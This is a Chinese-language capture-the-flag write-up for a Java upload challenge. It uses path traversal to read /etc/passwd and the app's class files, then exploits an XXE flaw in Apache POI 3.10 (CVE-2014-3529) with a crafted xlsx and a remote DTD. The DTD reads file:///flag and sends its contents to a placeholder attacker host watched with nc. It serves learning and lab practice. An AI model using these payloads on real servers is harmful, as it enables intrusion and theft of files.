一、赛题截图
二、接口测试
-
我们先上传文件抓包,发送到repeter
响应如下
-
我们使用下载接口去下载一个不存在的文件,回显“资源被删除”
- 说明系统可能去查找了这个文件,那我们能不能去下载/etc/passwd文件,但是还不知道相对路径是啥
三、任意文件读取漏洞验证
-
那我们去测试一下下载文件夹
-
我们根据路径可以推测到/etc/passwd文件路径
1. 上传文件的路径为 /usr/local/tomcat/webapps/file_in_java/WEB-INF/upload/0/10/上传文件名 2. 那/etc目录是跟/usr一层级的,上图有九层目录,应该回退九层 /usr/local/tomcat/webapps/file_in_java/WEB-INF/upload/0/10/../../../../../../../../../etc/passwd 3. 则我们下载文件的参数应该为 ../../../../../../../../../etc/passwd
-
根据上面推理构造请求,成功获取/etc/passwd文件内容,yeah
-
拿到了/etc/passwd的文件内容有什么用,怎么才能getshell啊
通过上面的一些测试,我们可以知道任意文件下载的漏洞存在该系统, 上传shell也无法执行
那我们只能看看能不能拿到源码审计看看了
-
通过暴露的上传文件存储的路径得知web服务器为tomcat
/usr/local/tomcat/webapps/file_in_java/WEB-INF/upload/0/10/
-
前置知识
Tomcat的web.xml是一个XML文件,用于配置Web应用程序的部署信息和其他相关配置。 它通常位于Web应用程序的WEB-INF目录下。 web.xml文件中包含了大量的配置信息,其中最重要的是Web应用程序的servlet、过滤器和监听器等组件的配置,是tomcat的核心配置文件。
-
读取web.xml文件,可以看到有三个接口类
-
拿到接口class文件,根据tomca结构,我们知道class文件都在WEB-INF目录下
构造路径
../../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/具体类路径
,成功获取文件内容 -
浏览器通过下载三个类文件,如下图所示
四、代码审计
idea打开这几个class文件
-
查找flag关键词,文件名只要包含flag字符就会被ban
-
看看其他文件有没有能够下手的地方
-
ListFileServlet.class文件,只是返回保存的文件名作用,应该是通过上传接口完成之后调用的
-
仅剩UploadServlet接口了,发现可疑的一段代码,里面提到了xlsx文件格式,好像做了不一样的处理
我们让chatgpt给我们解释一下代码啥意思啊!
首先说一句chatgpt真香啊
关注图片标红部分,说明我们要通过一个excel-xx.xlsx文件利用apache poi库搞事情
-
五、Apache POI库漏洞利用
Apache POI 简介是用Java编写的免费开源的跨平台的 Java API,Apache POI提供API给Java程式对Microsoft Office(Excel、WORD、PowerPoint、Visio等)格式档案读和写的功能
-
即然用到了POI库,那我们看看这个库是否有漏洞存在!代码中给出的POI库版本为3.10,是否有漏洞,google一下你就知道
CVE-2014-3529 apache poi 在3.10.1之前存在XXE漏洞
-
复现CVE-2014-3529
-
新建一个excel文件并解压(linux unzip命令即可解压 ‘.xlsx’ 文件)
mkdir tmp_excel //新建一个目录存放解压后的文件目录 touch 1.xlsx //新建一个excel文件 unzip 1.xlsx -d tmp_excel //解压到指定目录 cd tmp_excel //进入目录 ls //查看解压后的文件
解压后的效果如下图所示:
-
在[Content_Types].xml文件中添加payload,(在第一句和第二句中间添加下面给出的payload)
payload解释
代码中的实体
remote
定义了一个外部实体,其系统标识符(System Identifier)为 "http://your-remote-ip/file.dtd"。然后,通过%remote;
引用了这个实体,将其包含到当前XML文档中。然后通过该外部实体%int;
和%send;
执行一些操作<!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://you-remote-ip/file.dtd"> %remote;%int;%send; ]>
效果如图所示
-
打包回xlsx文件,根据前面的代码分析,文件名得为excel-x.xlsx
zip excel-1.xlsx ./*
-
去我们的远程服务器编辑一个file.dtd
payload解释
-
%file
定义了一个实体,通过file:///flag
指定为一个文件路径。读取本地文件系统上的flag
文件。 -
%int
定义了另一个实体,通过http://your-ip:port?popko=%file;
将读取到的文件内容发送给指定的IP地址和端口,我们通过nc在该ip所在服务器上监听这里指定的端口。 -
目的是读取
flag
文件,并将其内容发送到指定的服务器上。
<!ENTITY % file SYSTEM "file:///flag"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://your-ip:port?popko=%file;'>">
远程服务器80端口启动http服务,使通过http://your-remote-ip/file.dtd能访问到file.dtd资源
-
-
nc监听端口,准备接受flag文件内容
nc -lvvnp port //port为你file.dtd里指定的端口
-
-
上传xlsx文件测试
http服务成功接收到file.dtd的请求
nc成功收到flag文件的内容
六、总结
-
任意文件下载(读取)
-
Apache POI XXE
脚踏实地的每天进步一点点,不跟别人相比,只超越自己就够了。
如果你觉得还不错,欢迎关注公众号